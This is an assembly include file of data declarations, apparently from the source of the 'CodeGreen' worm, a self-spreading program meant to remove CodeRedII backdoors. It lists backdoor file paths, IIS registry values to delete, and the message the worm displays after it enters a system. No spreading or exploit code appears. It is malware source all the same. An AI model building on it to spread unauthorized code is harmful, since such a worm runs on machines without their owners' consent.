acr_vars.inc

蠕虫—绿色代码的源程序

; *** remove AntiCodeRed Explorer ***
	ACRExplorerExeStr	DB	"C:\explorer.exe", 0
	ACRNewExplorerExeStr	DB	"C:\AntiCode.Red", 0
	ExplorerStr		DB	"explorer.exe", 0

; *** remove CRII routine ***
	CRIIRootExeStr1		DB	"C:\inetpub\scripts\root.exe", 0
	CRIIRootExeStr2		DB	"C:\progra~1\common~1\system\MSADC\root.exe", 0
	CRIIRegKey		DB	"SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots", 0
	CRIIRegVal1		DB	"/scripts", 0
	CRIIRegVal2		DB	"/msadc", 0
	CRIIRegVal3		DB	"/c", 0
	CRIIRegVal4		DB	"/d", 0
	;CRIIExplorerExePE	DB	50h, 45h, 00h, 00h, 4Ch, 01h, 03h, 00h, 0FDh, 2Ah, 25h, 29h

; *** messages ***
	CodeGreenTitle		DB	"Des HexXer's CodeGreen V1.0 beta", 0
	CodeGreenMessage	DB	"CodeGreen has entered your system", 13, 10
				DB	"it tried to patch your system and", 13, 10
				DB	"to remove CodeRedII's backdoors", 13, 10
				DB	13, 10
				DB	13, 10
				DB	"You may uninstall the patch via", 13, 10
				DB	"SystemPanel/Sofware: Windows 2000 Hotfix [Q300972]", 13, 10
				DB	13, 10
				DB	'get details at "www.microsoft.com".', 13, 10
				DB	'visit "www.buha-security.de"', 13, 10
				DB	0

.Data?
	ExplorerCmdStr		DB	1024 DUP (?)